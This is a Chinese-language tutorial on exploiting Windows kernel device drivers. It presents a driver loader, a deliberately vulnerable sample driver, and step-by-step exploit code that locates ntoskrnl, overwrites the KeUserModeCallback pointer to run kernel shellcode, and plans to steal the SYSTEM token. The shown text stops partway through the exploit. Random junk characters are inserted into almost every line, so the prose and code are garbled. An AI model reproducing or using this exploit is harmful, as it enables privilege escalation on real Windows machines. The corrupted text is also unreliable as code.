|
|
设备驱动漏洞现在正在增长成为Windows 和其他操作系统安全的主要威胁。这是一个相关的新领域,但是很少有公开的技术文档讲述这个方面。据我所知,第一个windows 设备驱动攻击是由SEC-LABS小组在Win32 Device Drivers Communication Vulnerabilities白皮书中提到的。这个文章公开了一些有用的驱动溢出技术,并且描绘了未来研究的蓝图。! z4 f7 D$ F& L" I( u; p& C; R
第二个值得一读的文章是Barnaby Jack的文章,叫做“Remote Windows Kernel Exploitation Stepinto the Ring 0”。由于这方面技术文档的缺乏,我决定共享我自己的研究成果。在这个文章中,我将会介绍我的设备驱动攻击技术,提供一些详细的可用技术的细节,包括完整的攻击代码和用于测试的样例驱动的代码。$ o- `5 ]. C& \
读者需要拥有IA-32 汇编阅读能力和软件漏洞攻击经验。另外,强烈建议你要去阅读之前提过的两篇白皮书。
" X" ^6 M' [3 y1 s* X1 `0 ]* k' x$ b 实验环境的组建
+ s( @7 h+ P& ~6 O' f 过程中我使用了我的小型“实验室”:3 z( \7 L$ s/ A! v+ l
- 一台1G 内存的电脑;
% y3 Y$ d0 g! B2 N" x - 虚拟机软件,比如Vmware;+ h. E& P. f$ W1 _ d7 m; K
- windbg 或者softice。我在VMware 中使用第二种,但是它并不怎么稳定;$ M% f$ ^8 L' k3 m1 m1 k
- IDA 反汇编器;
9 m: z7 D: W* K2 F/ r# [# ?0 y; U - 一些软件我会在后面提到。$ L& \ k; x7 ~ g# t, w
在虚拟机和主机之间使用pipe 进行远程调试,但是通常其他方式更好一点。如果你想进一步研究驱动的话,这个环境的组建是非常重要的。
: C$ {4 Q% _9 u0 {1 \ C. r 用户态代码(软件)在Ring3 模式下运行(它没有访问Ring0 模式的权限),并且不能直接访问操作系统的函数,如果想使用这些函数只能通过call请求他们。这个叫做函数封装。用户模式内存地址是由0x00000000 到0x7FFFFFFF。6 A, F6 `) y7 D8 a
Windows 系统使用了两种权限模式(ring0 和ring3)。( z( d/ P+ G" C4 e
Driver loader
/ a5 y+ i( {+ a0 D 在我发布那个简单驱动之前,我们先来简单看下如何加载它。这是实现这个功能的代码:
9 O' I9 T5 [9 L7 t- K3 k /* wdl.c */
" W' d3 ^& n: w* v$ I: j #define UNICODE & b9 x: l& U* I. {) H2 q0 k
#include 1 |( s2 Q5 w& a4 l& R$ ?
#include / e6 x2 q+ Y- \
#include
( u7 P: o! n3 ?. p0 L void install_driver(SC_HANDLE sc, wchar_t *name) 6 j9 y9 Q" X& a0 d
{ " x# u4 z) C3 H- {
SC_HANDLE service; : o& e" }" e# c8 ~1 S
wchar_t path[512]; / L- i0 C% b, f9 n
wchar_t *fp; # A& z! q) K1 l& M
if (GetFullPathName(name, 512, path, &fp) == 0)
! z; T* F& o6 G2 a3 w { 5 a' L. V9 t1 d
printf("[-] Error: GetFullPathName() failed, error = %d\n",GetLastError());
, T, U+ D1 k& [$ u4 q3 s return;
8 L; d5 m# o* q. ^2 \. F: e }
9 ~) X! B. S+ v2 E( ^ service = CreateService(sc, name, name, SERVICE_ALL_ACCESS, \
' W& f5 g4 B0 n4 _ SERVICE_KERNEL_DRIVER,
# j, \# q5 y' K+ A: v/ j3 e SERVICE_DEMAND_START, \
3 O% S. ]4 D) C f, W SERVICE_ERROR_NORMAL, path, NULL, NULL, NULL, \ 5 b6 A% l( z! T
NULL, NULL);
$ F9 s& L* u+ m# X, | if (service == NULL) * O7 h2 C" ^5 X/ n s
{
& e9 g/ @# I/ `/ F printf("[-] Error: CreateService() failed, error %d\n",GetLastError());
# ~, _* N+ d2 Y8 e- Z3 I2 z return; ! X. o; w2 u% P. y& A* c# q' h
} / D# v0 @ b! i# u) a6 z- t, e
printf("[+] Creating service - success.\n"); ; B1 s/ K! [- @ r; Z( r; O
CloseServiceHandle(sc); . g! K" E- x5 u" c& r: J Q
if (StartService(service, 1, (const unsigned short**)&name) == 0)
1 f+ o* [5 T, `5 V {
+ ?4 w+ W$ Q! p9 p) V printf("[-] Error: StartService() failed, error %d\n", GetLastError()); 6 M7 }+ n+ y# H! J6 s) i% L" F
if (DeleteService(service) == 0) ' e: B$ n: H4 N+ t5 b+ h2 m
printf("[-] Error: DeleteService() failed, error = %d\n", GetLastError()); + Q3 n, a& l) o/ y) `) }3 Z* C
return; 0 h) B# c7 b. D, X' H
}
* m0 |+ V3 y, J# e printf(" Staring service - success.\n"); - M$ G5 @ B. G
CloseServiceHandle(service);
8 w6 P( I5 G; t' n }
m0 E! M' c( d1 P void delete_driver(SC_HANDLE sc, wchar_t *name)
7 X4 C7 @- \' j% L' Z! m$ l( b { ) c- q% `* A+ E$ J* S6 E, N. M
SC_HANDLE service; 2 s7 P2 |, q$ S6 D8 p
SERVICE_STATUS status;
. I( \- v% @1 D4 ?% w service = OpenService(sc, name, SERVICE_ALL_ACCESS);
6 ~( X$ E% I# |6 L8 s7 n! Y if (service == NULL) A( C; A0 Q0 s4 k1 n! J% [
{
1 J/ V5 i) ~# R. K printf("[-] Error: OpenService() failed, error = %d\n", GetLastError());
4 I' R, u7 h8 j& G# F: i return; 5 H0 z; h! o6 x. W
}
: F- d+ U& T' Q- Z1 j7 f printf("[+] Opening service - success.\n"); $ E4 g) X6 X6 G( f
if (ControlService(service, SERVICE_CONTROL_STOP, &status) == 0) / V1 m$ G) x, [. ]
{
9 h* S. N; D! W/ ~: y7 } printf("[-] Error: ControlService() failed, error = %d\n",GetLastError()); * {; G+ a4 s ?
return; ) |# t9 u( |/ @* R5 d6 H
} 2 W- i: B& S5 f( t0 G
printf("[+] Stopping service - success.\n"); / V0 E, w" ]0 {! f9 y! c( |5 \3 S
if (DeleteService(service) == 0) { * _* Q. [ D3 U. h( q
printf("[-] Error: DeleteService() failed, error = %d\n", GetLastError());
5 E, v: _3 i; H2 h$ _. w3 ~0 S5 a" ] return;
% _. E$ V; I& k+ z } & Q- }& |5 Q) ~& B8 d8 d- _+ `
printf("[+] Deleting service - success\n"); : V! m& M- }. \# m7 g8 [2 w
CloseServiceHandle(sc); 5 V! E2 U4 U5 w- Q5 O$ W
}
( b3 l% w/ m$ W- q0 j/ j int main(int argc, char *argv[])
$ R2 Y3 E, u$ E* ^, ^% L { ( U+ z0 j! K: c @- H* J
int m, b; 7 s3 p3 v* P$ y. Q$ [
SC_HANDLE sc;
" s- M# F) c) q wchar_t name[MAX_PATH];
. J- S1 u5 J, \* f printf("[+] Windows driver loader by Piotr Bania\n\n"); 4 n# ^2 {5 n4 @
if (argc != 3)
. N) s1 w1 x- a2 u+ o { 8 Y7 [- B7 k! \8 |" T1 S$ r
printf("[!] Usage: wdl.exe (/l | /u) driver.sys\n"); % a9 f2 ^. D3 c; Z$ C
printf("[!] /l - load the driver\n"); # D- r2 t8 N9 H, {. f
printf("[!] /u - unload the driver\n"); 6 e4 w/ [. s& O [. c) ^# ^
getch();
* R q1 k; B3 v$ e- w2 X: u return 0;
9 E1 r' h0 Z- _( a } . P. N# b4 ^* `
if (strcmp(argv[1], "/l") == 0) & a3 \* |7 c9 b" E9 z( j1 x( H
m = 0; . H& D1 p. l9 {
else
' L' \, A& H- Y2 Q1 J6 M1 ]) B; d* A0 i m = 1; // default uninstall mode
& K5 D; p: |6 A2 B4 T. g3 i sc = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE,
# ` s' H% I. A& s0 l9 Z4 f2 z! | SC_MANAGER_ALL_ACCESS);
5 L* `, \' C1 C' P( [! J2 } ? if (sc == NULL)
* D8 M$ J8 x9 o4 l { # d- O8 F7 g2 P9 L( B7 u* K
printf("[-] Error: OpenSCManager() failed\n");
9 R7 A* ?4 S" U& o6 `, _ return 0; - H# ^/ F" ^& U) T
}
: \5 f& I3 h+ f. L7 d% i b = MultiByteToWideChar(CP_ACP, 0, argv[2], -1, name, MAX_PATH); ( B4 x0 }/ L+ K/ \- m1 G) m: n
if (m == 0)
+ J0 T' k7 [ }4 M2 } {
( z, N, _9 ]/ G3 W printf("[+] Trying to load: %s\n",argv[2]);
7 A/ s6 C \0 P4 G install_driver(sc, name);
1 D6 i% I6 j F) w9 ^2 r3 X } 0 K" X i, J( U! X* Z$ d
if (m != 0)
, K% _4 n, W) k {
5 P+ A) c+ w6 C! p' F4 V' C printf("[+] Trying to unload: %s\n",argv[2]); 4 T9 u u3 z1 ~4 N! {2 q
delete_driver(sc, name); 2 b( h9 y$ U8 ]5 B" d
} , m; N( G/ `5 L2 I: v' W) P1 G2 K1 i2 D
getch(); % r7 [/ n7 V- V3 y! f
} ) ], Z7 ] _. d: L7 J# \3 ?7 k9 g
/* wdl.c ends */
( D- J9 c! g& [4 D5 s7 R
3 X& N8 [7 h8 d L e% _4 X& g1 X& Y
含漏洞的驱动样本
5 G1 K' b* G! ^9 q5 p 这是含漏洞驱动的样例代码,我们将会在文章接下来尝试攻击它。这个驱动的基于Iczelion 的框架模型。3 [8 w3 o0 ^; f
; buggy.asm start
' O+ t0 n9 I! b0 | .386 / ^" ^: u! r. a% L1 ]
.MODEL FLAT, STDCALL
3 L; |7 ^2 _$ r6 H OPTION CASEMAP:NONE 0 g2 q3 U5 l. c, Q- k
INCLUDE D:\masm32\include\windows.inc
$ q+ g' e3 \, k- Z3 k$ u* t* e INCLUDE inc\string.INC
% I: \! k/ b( P- R+ E/ E INCLUDE inc\ntstruc.INC 9 D) j; R: T3 S g
INCLUDE inc\ntddk.INC 3 h) }' U. \& h' f# U$ p
INCLUDE inc\ntoskrnl.INC
) f; _- m6 F$ g$ d. j INCLUDE inc\NtDll.INC 0 C* i' a$ h7 x" e2 _, P4 p
INCLUDELIB D:\masm32\lib\wdm.lib * H1 P6 i, S7 c8 l; [ G# H' b
INCLUDELIB D:\masm32\lib\ntoskrnl.lib
2 U& Z3 y/ v) B* H1 ^, f+ U INCLUDELIB D:\masm32\lib\ntdll.lib
5 X+ H5 k! G; k3 t; y7 { .CONST
- _5 X4 ?( ^$ ~$ N: _4 g pDevObj PDEVICE_OBJECT 0 ) b* Z9 E- \" j c/ Z. `0 r
TEXTW szDevPath, <\Device\BUGGY/0>
, G* H R. ?% ? TEXTW szSymPath, <\DosDevices\BUGGY/0>
/ O0 [' U. r; m, w, B5 }( ?5 r* H .CODE
' A8 L5 L- |* X assume fs : NOTHING
# R1 k% p. t0 A3 T" j6 r0 O( t4 t DriverDispatch proc uses esi edi ebx, pDriverObject, pIrp
6 W( a" m9 F: ~ B mov edi, pIrp
9 q* w+ z. L5 p& M( \7 z6 B assume edi : PTR _IRP / |' u! _8 v+ D3 ?- }( k1 ~
sub eax, eax
* U' V8 q5 V; B) r mov [edi].IoStatus.Information, eax
. ^+ H5 A ?( ]9 ^- |8 K mov [edi].IoStatus.Status, eax / {( T' y4 ?9 m) _0 ]5 \; D
assume edi : NOTHING 0 A- f* h( ?* Y3 n
mov esi, (_IRP PTR [edi]).PCurrentIrpStackLocation
; U& h6 L- I. b# |) a assume esi : PTR IO_STACK_LOCATION
8 S. L9 |7 M1 b( x. d .IF [esi].MajorFunction == IRP_MJ_DEVICE_CONTROL , Q6 A) e3 t0 b, r
mov eax, [esi].DeviceIoControl.IoControlCode . X8 h. N5 P4 c+ F
.IF eax == 011111111h " w9 y! {5 v5 J( }0 J3 n) @% e& A! E! @
mov eax, (_IRP ptr [edi]).SystemBuffer ; inbuffer 7 V$ [9 o% \+ b4 C2 y
test eax,eax 5 R% m6 w1 W/ \* ~
jz no_write ( @. D1 t% A6 n6 b+ C, s! F, {
mov edi, [eax] ; [inbuffer] = dest
# v6 U/ f5 n: k/ e) I+ G mov esi, [eax+4] ; [inbuffer+4] = src
1 s4 y+ {1 [$ d mov ecx, 512 ; ecx = 512 bytes
3 h8 V8 D; \5 D rep movsb ; copy : N8 O2 B* f- R8 g
no_write:
! ]9 h' T$ j0 x8 N: [+ X .ENDIF 3 c. l8 }# z9 c1 c5 I& l
.ENDIF
. `" Z3 e {: d. _: }! b+ q assume esi : NOTHING % N+ w2 u) M- E ^; B/ T# p" g& J* f
mov edx, IO_NO_INCREMENT ; special calling # H8 }' Y" I& J: O$ S4 i i; Y# o, H
mov ecx, pIrp
; X1 j4 X$ p( f/ Z- d8 S! N call IoCompleteRequest : ~" w6 W! o) @" u) U3 w
mov eax, STATUS_SUCCESS
, W* _. n: G! P& V5 g0 B" T ret
$ g d5 }; i0 _5 |0 {3 M DriverDispatch ENDP
# N/ `, g# A" M5 G* S k& x DriverUnload proc uses ebx esi edi, DriverObject local usSym : UNICODE_STRING 5 ^! E3 i0 V- c0 D) R1 k$ V
invoke RtlInitUnicodeString, ADDR usSym, OFFSET szSymPath
0 P4 i& J r4 n% h7 n: f" u invoke IoDeleteSymbolicLink, ADDR usSym
& n- Q4 W) q: f7 y Z% d invoke IoDeleteDevice, pDevObj
9 {8 |! @5 } r6 |/ z) W ret
9 p7 F5 C& y% B DriverUnload ENDP
6 F1 L" G0 b# |: Z0 l% E9 R .CODE INIT 3 ]) k u* D9 w) F! r- h" K
DriverEntry proc uses ebx esi edi, DriverObject, RegPath 4 v. e6 L( k8 n) J% C# [5 k
local usDev : UNICODE_STRING
) Q/ i8 _0 N3 O; y" B4 O local usSym : UNICODE_STRING $ z: \. d& i3 Q* z( N9 l
invoke RtlInitUnicodeString, ADDR usDev, OFFSET szDevPath ' y; Y" B2 |: S; B2 Z* d
invoke IoCreateDevice, DriverObject, 0, ADDR usDev, FILE_DEVICE_NULL, 0,
4 P J% Z" T; T; l ? FALSE, OFFSET pDevObj 3 W) Z4 }! J- P: Z6 T5 v
test eax,eax
' p6 d& ?: W7 ] jnz epr & O! M% |4 Q# i
invoke RtlInitUnicodeString, ADDR usSym, OFFSET szSymPath
- c# @- S1 F; Z invoke IoCreateSymbolicLink, ADDR usSym, ADDR usDev 2 U* i9 }' [1 n, @( W
test eax, eax 0 o7 F1 {9 d. d7 [. m8 [
jnz epr
9 k, U1 e1 s1 O+ C- H mov esi, DriverObject
0 M- }+ N( S2 O% H assume esi : PTR DRIVER_OBJECT
) a0 l. H) G/ }- ?* C9 s5 h# g mov [esi].PDISPATCH_IRP_MJ_DEVICE_CONTROL, OFFSET DriverDispatch
* q: W% `$ T& H. j) p1 Y; Z* A& E mov [esi].PDISPATCH_IRP_MJ_CREATE, OFFSET DriverDispatch $ w3 m3 H- a5 _$ Z
mov [esi].PDRIVER_UNLOAD, OFFSET DriverUnload , a: X) @' T: i: `" H/ y* @
assume esi : NOTHING $ I' F4 x6 \3 n9 X6 _+ `4 r" R
mov eax, STATUS_SUCCESS
- S2 C0 s+ W/ z7 j0 h! \# [ epr: 4 e8 [$ V; I! {
ret 0 x" D/ Y4 b+ @7 i* v
DriverEntry ENDP
: h8 l# R0 @( P" a End DriverEntry
& h9 e2 t/ @: X ; buggy.asm ends
8 S- q/ D. o( }+ C, ~: Z( V% c9 m7 S
$ A8 f5 E) t, w& b! x: S$ S! T9 C# h3 x6 v# \
漏洞分析
8 F( T& Z, D- v% `% B/ _4 i, f5 G6 ~8 Q 你可以在上面的代码中发现一处明显的漏洞:2 C: j, o' l" g2 w
.IF eax == 011111111h 8 N% y: v M5 J* r
mov eax, (_IRP ptr [edi]).SystemBuffer ; inbuffer
( F9 Q$ ?; l; [- s test eax,eax * k- _4 @# M+ Z H
jz no_write
# P9 \7 o* N& }2 k mov edi, [eax] ; [inbuffer] = dest
9 ]6 w; m+ Y! n3 j: @6 q' H0 D7 r mov esi, [eax+4] ; [inbuffer+4] = src 5 U* `! E! v' h1 S) [9 m
mov ecx, 512 ; ecx = 512 bytes
2 c5 ^; d9 Q/ V L rep movsb ; copy # H8 c) A$ A2 e& |
no_write:
# P& D9 Q6 F; _+ t: J* z .ENDIF
$ K8 g6 p* q9 i' k
% h" t/ L! I. P! f6 W8 Q2 h' U, [- P, U% z3 j* K
如果驱动获得eax 等于0x011111111,它会检测lpInputBuffer 参数的值。如果他等于空,则什么也不发生。但是当参数不同于0 时,驱动从送入的缓冲区中读取数据(源代码描述)并且从源内存中拷贝512bytes 到目的区域中(如果你愿意,你可以将它看作memcpy())。现在你也许会想,对于这样一个如此简单的memory corruption 利用又有什么难度呢?当然,这个漏洞看起来十分容易利用,然而你有没有意识到事实上你并不能写入数据到驱动中。我想你应该十分明白看到搜索硬编码堆栈地址作为目标内存参数是完全没意义的。同样的,如果你说这样的漏洞不存在于流行软件中,那你就错了。此外,这里提到的利用技术你可以利用来攻击多种类型的memory corruption 漏洞,甚至那些被称为off-by-one 的问题,这些问题是值覆盖内存并且攻击者不可控——不要限制你的思维(好吧,很多时候:))。让我们开始寻找上面那些问题的答案。
6 e6 `% q* Z, i, q9 e 目标:定位可写数据
2 |" z! S% _: K/ I 首先,我们需要定位一些我们可以利用的内核模式模块,这些模块需要在大多数Windows 操作系统中都是存在的(我的意思是只限于NT 系统)。一般来说这样可以提高在不同机器上的攻击成功率。现在让我们来看看Windows 的真实内核——ntoskrnl.exe。2 ~& I! Q3 [+ i! }5 e1 ^% k# A2 A
我们先来看看引出的函数: u5 U0 a6 u& B7 i/ R
- KeSetTimeUpdateNotifyRoutine 5 Y" G+ o6 j0 Y( } u) Y6 S
- PsSetCreateThreadNotifyRoutine
9 _6 @4 y4 X& M# w& P$ _" q: k- V - PsSetCreateProcessNotifyRoutine . I3 t2 j) g9 I3 p9 D* y9 A
- PsSetLegoNotifyRoutine
9 g! n2 l5 D7 O$ X3 I; F2 y; c - PsSetLoadImageNotifyRoutine 4 r+ s* k: ?; {4 L
; ~4 l% Q2 f# }# f' O: t r% y _6 }2 h* V
看起来这些都是非常有用的,现在我们以KeSetTimeUpdateNotifyRoutine为例分析下是否可以被我们利用。3 q; ?; g' R1 w8 H! A( s
' c2 f. ?* H1 A
函数会将ECX寄存器值写入到我命名为KiSetTimeUpdateNotifyRoutin 的内存地址中。
/ n% u- [( k0 _& d3 c% H9 y+ W. A9 ~) j5 i4 z1 S0 [8 d
现在我们看看调用这里的地方:
4 m7 I [# Z$ h' Z. D% p2 Q) w7 \ 如同你见到的那样,在0x8053513B 位置,指令将会从KiSetTimeUpdateNotifyRoutine内存地址(当然它得非0)执行。这样我们就可以将KiSetTimeUpdateNotifyRoutine 改写成我们希望执行的内存地址。但是这个方法存在着一些问题,我曾经对比过一些windows内核发现,他们中很多在执行call "routines"(比如call dword ptr [KiSetTimeUpdateNotifyRoutine])时会发生丢失现象,因为他们中有些仅仅只是写入或者读取操作,而不是执行。这个结果令我非常失望,于是我开始寻找其他的有用的缺陷代码点。通过对比一些内存中的调用,我发现了以下的地址: U8 T2 S. S9 {; _9 q1 ]
/ B- [0 h# h% _- I- e
0x8058697A 处的指令好像是被预置的,而且在所有我看过的内核中都是可用的。这个给我足够的结果可以用来进行攻击了,现在让我们来计划下如何攻击吧。6 }4 q8 |( L8 V, k0 S E
注意:还有一些其他位置的资源我们可以利用,你甚至可以邪恶的安装你自己的System Service Table或者其他更核心的东西。
& A* k$ P2 b; @4 C( S3 M/ ]: N 攻击计划
0 S* {9 n3 G8 f" X x, G2 P& @( ? 这里是几个我们攻击这个漏洞的关键点:
( E# X1 `2 b% C8 W 1) 定位ntoskrnl.exe 基址——这个地址会在Windows 运行时改变。1 P1 f' t1 i- M, ~; p' m( y
2) 加载ntoskrnl.exe 模块到用户层空间,获得KeUserModeCallback_Routine 地址,最后加上ntoskrnl 基址,求的当前地址。
: c1 ?: P& {! V. ]+ Y 3) 发送一个信号,并且从KeUserModeCallback_Routine 地址处获取512bytes(由于漏洞的性质,我们有这样的可能,当我们会改变KeUserModeCallback_Routine 的4 字节时这样能够增强我们利用程序的稳定性)。
8 ~3 g7 s- d. ?2 K2 P 4) 发送一个包含特殊构造数据的信号(正如我们之前提到过,覆盖KeUserModeCallBackRoutine 的值,并且使它指向我们的内存(shellcode))。1 }* m3 L7 g( X6 Z6 M7 m" z
5) 开发特殊内核模式下的Shellcode(当然,shellcode 在第四步之前或者第四步的时候就需要做好了,现在是执行他。)
3 n8 E; N4 g' V4 Z. w+ A 5-a) 重设KeUserModeCallback_Routine 指针
# [8 E) s6 S" N' ` H 5-b) 给你的进程SYSTEM 进程token。
; q9 b1 f& q8 _! x/ a 5-c) 执行正确的KeUserModeCallback_Routine。( s. j9 @" ~, ~/ Y) t9 N
关键点1:定位ntoskrnl.exe 基址- l$ i& z* v6 E0 V- _1 f
Ntoskrnl (windows 内核)基址会随着每次系统的启动而改变,因此我们不能硬编码它的基址,这样是没什么作用的。简单地说,我们需要从哪里获得这个地址呢。我们可以使用SystemModuleInformation 类的native API NtQuerySystemInformation 获得。接下来的代码会为我们描述这个过程:/ g4 X! q( X' [$ s+ s2 ^
NTSTATUS WINAPI NtQuerySystemInformation( 6 ]# G4 y* S4 `# |! K& Z
__in SYSTEM_INFORMATION_CLASS SystemInformationClass, 3 I# e# d% e. Q: O+ \
__inout PVOID SystemInformation, 3 D, R! [- z2 g& w h
__in ULONG SystemInformationLength,
+ P: \* \/ x3 ?2 ^; p __out_opt PULONG ReturnLength 2 v4 D$ a: A1 ]) ]: ^1 z
); ; [. i: y$ \: F: ^' @0 j+ N
; ------------------------------------------------------------
4 j# j) C$ g( D1 h: N ; Gets ntoskrnl.exe module base (real) 2 K3 F+ L {% m
; ------------------------------------------------------------ " ^$ _$ j; F2 K3 d9 h# c3 D+ e
get_ntos_base proc , ?1 A2 G1 I$ O7 x
local __MODULES : _MODULES ' P9 S; w! p. {9 R* `
pushad
! z$ L2 U" r y- L5 ]3 @ @get_api_addr "ntdll","NtQuerySystemInformation" $ n$ v5 o3 C% R; b z4 h& g# T% H$ l
@check 0,"Error: cannot grab NtQuerySystemInformation address" & G9 Z1 @4 w1 u3 @$ O9 D( U( f
mov ebx,eax ; ebx = eax = NTQSI addr 2 E% Y% Q, s4 U& n8 L* {# }
call a1 ; setup arguments % s0 ~2 h2 o" E6 O; c4 t/ P
ns dd 0
1 d0 V2 F( u3 t( H a1: push 4 $ S* c8 l+ b1 z$ r" s+ k
lea ecx,[__MODULES]
; J0 e# b0 l6 d! h/ i( z push ecx
0 s# |3 c7 V& N% I push SystemModuleInformation
% f" @+ g3 {' }* R! ^3 B6 X' g call eax ; execute the native ) }# a) y1 j) I7 S& L/ p1 D1 g
cmp eax,0c0000004h ; length mismatch? ; P0 m6 O k; ]1 _
jne error_ntos ( t# r; m* h' b' ]) h
push dword ptr [ns] ; needed size 8 A% A7 O' U! E$ N: K- a0 r9 F; u% v
push GMEM_FIXED or GMEM_ZEROINIT ; type of allocation
5 }& h3 P# d% J" | @callx GlobalAlloc ; allocate the buffer
/ `8 n; s( \2 b) _& o9 P, u9 U mov ebp,eax
O1 R8 Y0 ^# R1 u* P% n1 N push 0 ; setup arguments 4 j& y' O" q+ X; Z& r1 _$ K
push dword ptr [ns] " Y9 @# Y k7 q2 }3 r5 W. `
push ebp
1 q4 a7 d8 p0 a push SystemModuleInformation 2 n/ B2 g9 C* B8 z2 X! u
call ebx ; get the information
: x: L+ }, |# V7 y0 | test eax,eax ; still no success? # d6 N$ K( ?5 R- r" n1 o% e
jnz error_ntos
& I. ]0 U* E2 i, _6 P ; first module is ( ]1 Y- X) L6 A
always 2 H& E; Y i' x7 a! [6 g
; ntoskrnl.exe
" H* S: x1 f: i% T- d& T- v; H" i, _ mov eax,dword ptr [ebp.smi_Base] ; get ntoskrnl base
$ x) M! R( _3 b. q mov dword ptr [real_ntos_base],eax ; store it , W- g3 @( Y8 N' `$ F8 d0 Y
push ebp ; free the buffer ' E+ d9 @; ^+ I6 {& W# M! V
@callx GlobalFree 6 x" O7 L6 r& E" U7 i
popad
: w* M0 V l# E* q/ p/ G8 a, D) T2 } ret
$ A4 E0 B4 T6 G8 C error_ntos: xor eax,eax
4 @# ^8 M. g0 C" x7 i @check 0,"Error: cannot execute NtQuerySystemInformation" 3 |' \3 o7 O/ h3 i1 a1 w2 ?
get_ntos_base endp
) p. r& v7 a- Q8 ] _MODULES struct
" D1 h- e* G+ P( w$ w( y+ m dwNModules dd 0 , F- R6 l t0 G* z
;_SYSTEM_MODULE_INFORMATION: 3 Z3 y& U! X2 C7 |% f$ \$ M
smi_Reserved dd 2 dup (0) / B3 [( t4 O# H) @3 m
smi_Base dd 0
s- X6 N4 W) f, ^2 a. Q1 R L6 _0 ^' s l smi_Size dd 0 ( f/ q% t' D0 J! s; y
smi_Flags dd 0
& b6 o' S. c! d smi_Index dw 0
0 n- A( l2 |9 C3 Z6 c1 N" F! f smi_Unknown dw 0
' N& c1 t% X2 N) B* }4 U smi_LoadCount dw 0
; Q8 w. w0 Q. O smi_ModuleName dw 0 ; e! e: R. Q) {. ?& C* A a
smi_ImageName db 256 dup (0) ; o; I8 Q+ N- m
;_SYSTEM_MODULE_INFORMATION_SIZE = $-offset 6 J" n& ~* S" B3 k* |+ Q
_SYSTEM_MODULE_INFORMATION . F) U( [) N0 y" w) I
ends
- Y3 u* ~7 B$ P3 q/ Y; K/ I6 g: `! r% r! w
( F8 K" n! \ K7 t 关键点2:加载ntoskrnl.exe 模块,并获得KeUserModeCallback_Routine 地址
6 r! s" I7 ~0 Y- ?" w% ?3 x% x 加载ntoskrnl.exe到程序的空间非常简单,我们可以使用LoadLibraryEx API 实现。不同的Windows 内核有不同的KeUserModeCallback_Routine 地址,因此我们需要获取当前的地址。正如你所看到的call 请求那样(call dword ptr [KiSetTimeUpdateNotifyRoutine]),请求总是来自低于KeUserModeCallback 函数的地址。我们会利用这个特性,我们需要找到KeUserModeCallbac 地址,搜索特殊的call 指令代码(0xFF15 byte),经过简单的计算我们就可以得到KeUserModeCallback_Routine 的地址。代码我们举例说明:3 h8 T* D+ O* [( y/ R- ~
; ------------------------------------------------------------
( g8 ^# {4 I3 i: I$ B ; finds the KeUserModeCallback_Routine from ntoskrnl.exe 5 t6 W& b6 j" Q4 o
; ------------------------------------------------------------
/ A. @# y7 h2 p3 X# U, ~* r' t find_KeUserModeCallback_Routine proc ! j. |0 c6 h9 D/ x% a4 H* X
pushad
2 ?; @( o+ t W4 o push 1 ;DONT_RESOLVE_DLL_REFERENCES % U" K4 d4 V% u r, g# {, s
push 0
; L8 U$ T1 E& x) m) V @pushsz "C:\windows\system32\ntoskrnl.exe" ; ntoskrnl.exe is ok also 1 t% L: Y0 U5 F) y* q: ]: }. Y' v
@callx LoadLibraryExA ; load library
6 @9 e- [. f$ | I @check 0,"Error: cannot load library"
. q, F0 E3 c' c8 Q, ? mov ebx,eax ; copy handle to ebx
4 |& `, _' v, J4 { @pushsz "KeUserModeCallback"
9 ]) ^- c) A! b' V push eax
, T! V) Y$ \( J. ~ R @callx GetProcAddress ; get the address * [2 _1 J5 i: s1 F# _
mov edi,eax * u y& y4 L2 u
@check 0,"Error: cannot obtain KeUserModeCallback address"
$ a. f' [1 W1 F5 W6 s* X; b scan_for_call: $ t4 O" Z* n' Z" i e( N8 h
inc edi & l n1 {$ S2 T# }, j- ~
cmp word ptr [edi],015FFh ; the call we search for? : t/ E2 m8 }+ l' r
jne scan_for_call ; nope, continue the scan
' ?7 u6 [; c% O) o, y0 R- o: z! V mov eax,[edi+2] ; EAX = call address ' T" \ P9 S& B( z+ a1 d z
mov ecx,[ebx+3ch]
1 O6 F# q' B" T add ecx,ebx ; ecx = PEH 5 i/ [, ?* l! ?+ {, Q# P$ P* j7 r
mov ecx,[ecx+34h] ; ECX = kernel base from PEH
# O4 ]$ y8 x, [2 N- t! x sub eax,ecx ; get the real address $ } ]( D+ \2 p
mov dword ptr [KeUserModeCallback_Routine],eax ; store / M: p5 w9 Y- d" {6 K0 W
popad ; W1 Y# R' N+ ?: C R6 b
ret
# L0 f7 G1 S( V find_KeUserModeCallback_Routine endp
# j. e0 M$ u# h/ E$ I6 @+ |
1 p+ ~; {! r5 H8 C- r8 g$ c- I" s* L; ^
关键点3:发送一个信号,从KeUserModeCallback_Routine 地址处获得512 bytes
2 F( E# k' V+ W% m/ M 当我们使用一些代码覆盖512 bytes 的内核空间时,我们有很大可能会导致机器崩溃。/ [* x. F9 x. V, h4 m1 c/ m& z0 b* A
为了避免这种情况,我们会使用一些狡猾的方法:发送一个包含我们可以从原始ntoskrnl 数据中获得的lpInputBuffer 结构信号,就像下面的exploit 代码中演示的那样:
+ S3 I& C- ^0 [6 T D_PACKET struct ; little vulnerable driver 0 J" Z& d+ ]5 Y9 V6 ?- p7 t7 H
dp_dest dd 0 ; signal struct 9 f3 M8 i6 Z) r- u% i
dp_src dd 0 + x8 S: T6 c5 a( E: Y6 t
D_PACKET ends 9 y" @% q6 @) r$ u8 {
; first signal copies original bytes to the buffer ' j# W1 \ F/ d
mov eax,dword ptr [KeUserModeCallback_Routine]
4 N4 a& b, a6 f+ c6 R; t mov dword ptr [routine_addr],eax
9 B: B+ W$ W: g" x+ G/ H1 z mov [edi.D_PACKET.dp_src],eax ; eax = source
8 X7 k4 Y3 k9 ?9 H mov [edi.D_PACKET.dp_dest],edi ; edi = dest (allocated mem)
* a P5 |5 {4 c1 R" a add [edi.D_PACKET.dp_dest],8 ; edi += sizeof(D_PACKET)
- [0 w: y) k" u* S" j# a8 @' E9 ] mov ecx,512 ; size of input buffer % j( e) \' J: V
call talk2device ; send the signal!!! 9 Q7 O) T! l, e. s2 P& ^; W6 [
; code will be stored at edi+8
& {# d# s7 w# K( f& X0 G) J: b, Q
) |" z" ^7 S2 k1 p# r) C
1 x% m K$ P+ @+ W( s 关键点4:覆盖KeUserModeCallback_Routine% A/ C0 a+ w8 y
关键是如何执行我们的shellcode。通常我们使用与上次信号交换值的方法实现,而且仅需要改变第一次读取数据的前四个字节。
6 _2 |) A9 n, v! g( v$ `" v, @# S- H ; make the old KeUserModeCallback_Routine point to our shellcode
9 k! h4 _( z1 o c, ? ; and exchange the source packet with destination packet ! R* S4 }9 K8 `
mov [edi+8],edi ; overwrite the old routine ) N/ o# z7 c: h* t/ ^4 `
